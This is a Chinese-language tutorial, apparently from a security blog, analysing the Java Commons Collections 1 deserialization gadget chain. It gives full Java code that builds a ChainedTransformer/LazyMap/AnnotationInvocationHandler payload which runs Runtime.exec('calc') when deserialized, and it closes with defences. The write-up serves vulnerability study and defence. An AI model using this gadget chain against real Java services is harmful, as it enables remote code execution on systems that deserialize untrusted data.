Java反序列化CC1-漏洞分析
字数 1454 2025-08-12 11:34:13

Java反序列化漏洞分析:Commons Collections 1 (CC1) 利用链详解

环境要求

  • JDK版本:8u71以下
  • Commons Collections版本:3.1
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>
    

核心组件分析

Transformer接口体系

  1. Transformer接口

    • 核心方法:Object transform(Object input)
    • 功能:将输入对象转换为输出对象
  2. ConstantTransformer

    • 实现Transformer接口
    • 特性:构造时接收一个对象,transform()方法总是返回该对象
    new ConstantTransformer(Runtime.getRuntime())
    
  3. InvokerTransformer

    • 实现Transformer接口
    • 特性:通过反射调用指定方法
    • 构造参数:
      • 方法名
      • 参数类型数组
      • 参数值数组
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    
  4. ChainedTransformer

    • 实现Transformer接口
    • 特性:链式调用多个Transformer
    • 执行流程:
      1. 接收Transformer数组
      2. 依次调用每个Transformer的transform()方法
      3. 前一个Transformer的输出作为下一个的输入

TransformedMap

  • 功能:装饰Map对象,在修改Map时自动转换key/value
  • 关键方法:
    • put()transformKey()/transformValue()transform()
  • 利用点:通过恶意Transformer实现代码执行

LazyMap

  • 功能:延迟加载Map,当key不存在时通过Transformer生成value
  • 关键代码:
    public Object get(Object key) {
        if (!map.containsKey(key)) {
            Object value = factory.transform(key);  // 触发点
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
    

动态代理利用

AnnotationInvocationHandler

  • 实现了InvocationHandler接口
  • 关键方法:
    1. readObject()
      • 反序列化入口
      • 调用Map的entrySet()方法
    2. invoke()
      • 代理对象方法调用时触发
      • 会调用memberValues.get()方法

完整攻击链构造

步骤1:构造Transformer链

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new String[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

步骤2:创建LazyMap

Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

步骤3:创建动态代理

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 创建AnnotationInvocationHandler实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

// 创建代理Map
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler);

步骤4:构造最终Payload

Object payload = constructor.newInstance(Retention.class, proxyMap);

步骤5:触发反序列化

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
oos.writeObject(payload);

// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject();  // 触发点

完整调用链

  1. AnnotationInvocationHandler.readObject()
  2. Proxy.entrySet() (动态代理调用)
  3. AnnotationInvocationHandler.invoke()
  4. LazyMap.get()
  5. ChainedTransformer.transform()
    • ConstantTransformer.transform()
    • InvokerTransformer.transform() (多次)
  6. 最终执行Runtime.exec("calc")

防御措施

  1. 升级JDK至8u71以上版本
  2. 升级Commons Collections至安全版本
  3. 使用反序列化过滤器
  4. 避免反序列化不可信数据

关键点总结

  1. Transformer链:通过ChainedTransformer将多个Transformer串联执行
  2. LazyMap触发:利用Map的get()方法触发Transformer链
  3. 动态代理:通过AnnotationInvocationHandler桥接readObject和Map操作
  4. 反射绕过:利用InvokerTransformer实现反射调用任意方法

此漏洞利用链展示了Java反序列化漏洞的典型模式:通过精心构造的对象图,在反序列化过程中触发一系列方法调用,最终实现任意代码执行。

Java反序列化漏洞分析:Commons Collections 1 (CC1) 利用链详解 环境要求 JDK版本:8u71以下 Commons Collections版本:3.1 核心组件分析 Transformer接口体系 Transformer接口 核心方法: Object transform(Object input) 功能:将输入对象转换为输出对象 ConstantTransformer 实现Transformer接口 特性:构造时接收一个对象,transform()方法总是返回该对象 InvokerTransformer 实现Transformer接口 特性:通过反射调用指定方法 构造参数: 方法名 参数类型数组 参数值数组 ChainedTransformer 实现Transformer接口 特性:链式调用多个Transformer 执行流程: 接收Transformer数组 依次调用每个Transformer的transform()方法 前一个Transformer的输出作为下一个的输入 TransformedMap 功能:装饰Map对象,在修改Map时自动转换key/value 关键方法: put() → transformKey() / transformValue() → transform() 利用点:通过恶意Transformer实现代码执行 LazyMap 功能:延迟加载Map,当key不存在时通过Transformer生成value 关键代码: 动态代理利用 AnnotationInvocationHandler 实现了InvocationHandler接口 关键方法: readObject() 反序列化入口 调用Map的entrySet()方法 invoke() 代理对象方法调用时触发 会调用memberValues.get()方法 完整攻击链构造 步骤1:构造Transformer链 步骤2:创建LazyMap 步骤3:创建动态代理 步骤4:构造最终Payload 步骤5:触发反序列化 完整调用链 AnnotationInvocationHandler.readObject() Proxy.entrySet() (动态代理调用) AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() (多次) 最终执行 Runtime.exec("calc") 防御措施 升级JDK至8u71以上版本 升级Commons Collections至安全版本 使用反序列化过滤器 避免反序列化不可信数据 关键点总结 Transformer链 :通过ChainedTransformer将多个Transformer串联执行 LazyMap触发 :利用Map的get()方法触发Transformer链 动态代理 :通过AnnotationInvocationHandler桥接readObject和Map操作 反射绕过 :利用InvokerTransformer实现反射调用任意方法 此漏洞利用链展示了Java反序列化漏洞的典型模式:通过精心构造的对象图,在反序列化过程中触发一系列方法调用,最终实现任意代码执行。